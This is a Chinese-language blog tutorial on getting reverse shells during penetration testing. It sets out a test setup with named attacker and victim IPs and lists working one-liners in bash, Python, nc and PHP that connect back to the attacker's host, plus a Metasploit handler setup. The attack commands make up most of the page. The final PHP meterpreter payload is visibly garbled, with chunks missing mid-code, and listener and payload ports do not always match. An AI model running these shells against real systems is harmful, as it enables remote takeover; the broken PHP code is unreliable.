渗透测试中弹shell的多种方式


在我们渗透测试的过程中,最常用的就是基于tcp/udp协议反弹一个shell,也就是反向连接。

我们先来讲一下什么是正向连接和反向连接。

正向连接:我们本机去连接目标机器,比如ssh和mstsc
反向连接:目标机器去连接我们本机
那么为什么反向连接会比较常用呢

目标机器处在局域网内,我们正向连不上他
目标机器是动态ip
目标机器存在防火墙
然后说一下我的实验环境

攻击机:Kali Linux :47.98.229.211

受害机:Centos 7 :149.129.68.117(阿里云服务器)

姿势一 bash

bash也是最常见的一种方式

Kali监听

nc -lvvp 4444
Shell

centos运行

bash -i >& /dev/tcp/47.98.229.211/5555 0>&1
Shell

执行命令后,成功得到反弹!
请输入图片描述

姿势二 python

攻击机Kali还是监听

nc -lvvp 5555
Shell

centos执行

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("47.98.229.211",27409));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
Python

请输入图片描述
姿势三 nc
如果目标机器上有nc并且存在-e参数,那么可以建立一个反向shell

攻击机监听

nc -lvvp 5555
Shell

目标机器执行

nc 47.98.229.211 5555 -t -e /bin/bash
Shell

这样会把目标机的/bin/bash反弹给攻击机

但是很多Linux的nc很多都是阉割版的,如果目标机器没有nc或者没有-e选项的话,不建议使用nc的方式

姿势四 php
攻击机监听

nc -lvvp 4444
Shell

要求目标机器有php然后执行

php -r '$sock=fsockopen("172.16.1.130",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
Shell


其他的一些高能操作

关于PHP的payload

现在msfconsole中进行简单的配置

msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.1.107
LHOST => 192.168.1.107
Shell

PHP

<? php error_reporting(0); $ip = 'x.x.x.x'; $port = 53; if (($f = 'stream_socket_client') && is_callable($f)) { {$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_ strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('s >
PHP

乱港幕后黑手现形,外交部驻港公署紧急交涉

记者探访明星信息地下交易:身份证号2元,手机号码30元可买

获取更多资讯请加入交流群


    协助本站SEO优化一下,谢谢!
    关键词不能为空
评 论
更换验证码